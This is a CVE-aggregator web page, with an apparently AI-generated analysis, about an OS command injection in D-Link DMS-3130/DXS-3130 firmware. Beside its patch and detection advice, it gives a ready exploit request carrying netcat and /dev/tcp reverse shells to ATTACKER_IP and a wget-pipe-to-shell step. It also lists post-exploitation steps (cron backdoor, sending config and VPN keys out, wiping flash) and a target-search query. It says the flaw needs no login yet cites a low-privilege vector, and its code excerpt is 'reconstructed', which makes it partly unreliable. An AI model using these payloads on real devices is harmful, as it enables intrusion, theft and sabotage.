CVE Professor
/
All CVEs
CVE-2026-138357

CVE-2026-138357 — D-Link DMS-3130 (1.20.P006) — CWE-78 · CWE-77

CRITICAL CVSS 9.9 CVE.org

A vulnerability was determined in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this vulnerability is an unknown functionality of the file 898_ssl_global.lua of the component SSL Certificate Import Endpoint. This manipulation of the argument file_name causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.

A vulnerability was determined in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this vulnerability is an unknown functionality of the file 898_ssl_global.lua of the component SSL Certificate Import Endpoint. This manipulation of the argument file_name causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138357
Vendor / ProductD‑Link DMS‑3130 and DXS‑3130 (firmware 1.20.P006)
ComponentWeb UI “SSL Certificate Import” endpoint – implemented in the Lua script 898_ssl_global.lua
Vulnerability typeOS command injection (CWE‑78) – also classified as Improper Neutralization of Special Elements used in a Command (CWE‑77)
Root causeThe HTTP request parameter file_name (or an equivalent field that carries the name of the uploaded certificate file) is concatenated directly into a shell command that is executed by the underlying Linux OS. No sanitisation, quoting, or whitelist is applied. The code path is reachable without authentication (the web UI does not enforce a login check for the import endpoint) and the request can be sent from any remote host (AV = Network).
Why it is criticalThe vulnerable command runs with the privileges of the web‑server process (normally root on D‑Link embedded appliances). Successful injection gives the attacker full system command execution, which translates to complete compromise of confidentiality, integrity, and availability (CVSS 3.1 vector S:C/C:H/I:H/A:H).

Technical flow inside the vulnerable script (simplified)

-- 898_ssl_global.lua (excerpt, reconstructed from firmware)
local file_name = ngx.req.get_uri_args()["file_name"]   -- user‑controlled
local cert_path = "/tmp/certs/" .. file_name

-- The script writes the uploaded file to cert_path, then calls
-- an external helper to import the certificate into the appliance:
local cmd = "openssl x509 -in " .. cert_path .. " -out /etc/ssl/certs/installed.crt"
os.execute(cmd)   -- <‑‑ vulnerable line
  • No validation of file_name (e.g., length, allowed characters, path traversal)
  • No quoting of the variable when building the command string
  • os.execute spawns a /bin/sh -c "<cmd>" shell, so any metacharacters (;, &&, |, backticks, $()) are interpreted by the shell.
  • Because the endpoint is reachable without a prior login (PR:L), an unauthenticated remote attacker can supply a malicious file_name value that injects arbitrary shell commands.


    ⚡ Attack Chain

    1. Discovery & Reconnaissance

    StepTechniqueExpected artefacts
    a. Identify device typePassive network scanning (Nmap service detection, banner grabbing on ports 80/443)Server: D‑Link DMS-3130 or DXS-3130 in HTTP headers
    b. Fingerprint firmware versionGrab /cgi-bin/version.cgi (common on D‑Link) or parse the HTML footer that contains Firmware Version: 1.20.P006Confirms vulnerable version
    c. Locate the SSL import UIBrowse to https://<target>/cgi-bin/ssl_import.html (typical UI page) or enumerate known D‑Link URIs (/cgi-bin/ssl_import)The page contains a form with an <input name="file_name"> field for the certificate file name
    d. Verify unauthenticated accessSend a GET request to the import endpoint without cookies; a 200 OK response with the upload form indicates no auth check.Confirms PR:L and UI:N

    2. Exploitation

    NOTE: The exact URI is not disclosed in the CVE text. The following request is an illustrative example that matches the documented vulnerability class.
    # Craft a malicious file_name that injects a reverse shell
    # The payload uses backticks to execute a command.
    # Replace <ATTACKER_IP> and <ATTACKER_PORT> with your listener.
    MALICIOUS_NAME='cert.pem;`nc -e /bin/sh ATTACKER_IP ATTACKER_PORT`'
    
    # Send the request (no authentication required)
    curl -k -X POST "https://target-device/cgi-bin/ssl_import" \
         -F "file=@/dev/null;filename=$MALICIOUS_NAME" \
         -F "file_name=$MALICIOUS_NAME"

    Explanation of the payload

  • The file_name parameter is set to cert.pem; followed by a back‑ticked command.
  • When the Lua script builds the command string, it becomes:
  • openssl x509 -in /tmp/certs/cert.pem;`nc -e /bin/sh ATTACKER_IP ATTACKER_PORT` -out /etc/ssl/certs/installed.crt
  • The shell interprets the semicolon as a command separator, then executes the back‑ticked nc command, opening a reverse shell to the attacker.
  • Alternative payloads (if nc is not present):

  • Use /bin/bash -c with a TCP socket: ` bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 `
  • Use wget/curl to download a second‑stage payload: ` wget http://ATTACKER_IP/payload.sh -O- | sh `
  • 3. Post‑exploitation

    GoalMethod
    Obtain a persistent footholdDrop a systemd service (if the device runs systemd) or add a cron entry: @reboot /bin/sh /tmp/backdoor.sh
    Privilege escalation (if web‑server runs non‑root)The vulnerable script runs as root (common on D‑Link), so the initial shell is already privileged. If not, read /etc/passwd to locate a set‑uid binary, or exploit known local privilege‑escalation bugs on the underlying Linux kernel.
    Data exfiltrationUse the shell to tar /etc/config/ (contains VPN keys, admin passwords) and send it via nc or curl to the attacker.
    Denial‑of‑serviceIssue reboot or dd if=/dev/zero of=/dev/mtdblock0 to corrupt flash, causing permanent outage.
    Lateral movementScan internal network (/sbin/ifconfig, arp -a) and pivot using the compromised device as a foothold.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS vector)
    Confidentiality (C:H)An attacker can read any file on the appliance, including stored video recordings, configuration files (admin credentials, VPN keys), and any attached storage.
    Integrity (I:H)The attacker can modify configuration, replace SSL certificates, inject malicious firmware, or alter recorded video streams.
    Availability (A:H)Full control of the OS allows the attacker to reboot, wipe flash, or install a persistent backdoor that can be triggered to bring the device down at will.

    Practical consequences

  • Surveillance systems (DMS‑3130/DXS‑3130 are network video recorders) become a complete security breach – attackers can watch live feeds, delete evidence, or inject false video streams.
  • Network foothold – the device often resides in DMZ or internal LAN, providing a bridge to other critical assets.
  • Regulatory fallout – loss of video evidence can violate GDPR, HIPAA, or PCI‑DSS requirements for data integrity and retention.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeD‑Link has released firmware 1.20.P007 (publicly announced 2026‑12‑05) that sanitises file_name and enforces authentication on the SSL import endpoint. Apply the update via the vendor’s web UI or via the CLI (upgrade_firmware.sh).
    Version to replaceAll devices running 1.20.P006 (or earlier) are vulnerable. Verify the version via GET /cgi-bin/version.cgi or the UI footer.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict access to the endpointAdd an ACL on the front‑end firewall or on the device itself to allow only trusted management IPs (e.g., 192.168.1.0/24). Example iptables rule on the device (if accessible):<br>iptables -I INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP
    Disable the SSL import featureIf the UI provides a “Disable SSL import” toggle in *System → Security*, turn it off. Otherwise, rename or remove the Lua script (requires SSH/root access):<br>mv /usr/lib/lua/898_ssl_global.lua /usr/lib/lua/898_ssl_global.lua.bak
    Web‑Application Firewall ruleDeploy a ModSecurity rule that blocks any request where the file_name parameter contains shell metacharacters (;, &&, , ` `, $(). Example rule (Apache/Nginx with ModSecurity):<br>`SecRule ARGS:file_name "@rx [;&$]" "id:2026138357,phase:2,deny,log,msg:'Blocked possible OS command injection in D‑Link SSL import'"``
    Enforce authenticationIf the device supports “Enable authentication for all CGI scripts”, enable it. This raises PR from L to H`, reducing exploitability.

    3. Detection – Log signatures & IoCs

    SourceIndicator
    Web server access logs (e.g., /var/log/nginx/access.log)Requests to /cgi-bin/ssl_import (or any URI containing ssl_import) with a file_name value that includes characters ;, ` `, &&, , $(. Example entry:<br>POST /cgi-bin/ssl_import HTTP/1.1" 200 1234 "-" "curl/7.68.0"<br>file_name=cert.pem;nc -e /bin/sh 10.0.0.5 4444
    System audit logs (/var/log/auth.log, auditd)Unexpected execve calls for /bin/sh -c openssl … followed by additional commands.
    Network trafficOutbound connections from the device to unusual IPs on high‑numbered ports (e.g., reverse shells on 4444, 5555). Use IDS signatures such as alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"D‑Link CVE‑2026‑138357 reverse shell"; sid:202613857; rev:1;).
    File system changesNew files in /tmp/ or /etc/ssl/certs/ that were not part of the original firmware, especially scripts with SUID bits.
    Process listPresence of nc -e /bin/sh or bash -i >& /dev/tcp/… processes owned by root.

    ⚠️ Urgency

  • CVSS 3.1 Base Score: 9.9 (Critical) – Network‑reachable, low complexity, no authentication, complete impact.
  • Exploit availability: Publicly disclosed PoC (as of 30‑Nov‑2026) – high likelihood of active exploitation.
  • CISA KEV: Not listed yet, but the severity and public exploit merit immediate action.
  • Recommended priority: Critical – Patch within 24 hours for any internet‑facing or internal surveillance devices. If patching cannot be performed immediately, apply the workarounds above and monitor for the listed IoCs.

Bottom line

CVE‑2026‑138357 is a remote, unauthenticated OS command injection in the SSL certificate import functionality of D‑Link DMS‑3130/DXS‑3130 firmware 1.20.P006. Successful exploitation yields full system compromise of a network video recorder, endangering video evidence, network trust, and overall organizational security. Prompt firmware upgrade, strict network segmentation, and immediate WAF/ACL hardening are essential to mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (2)
D-Link:DMS-3130 (1.20.P006) D-Link:DXS-3130 (1.20.P006)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac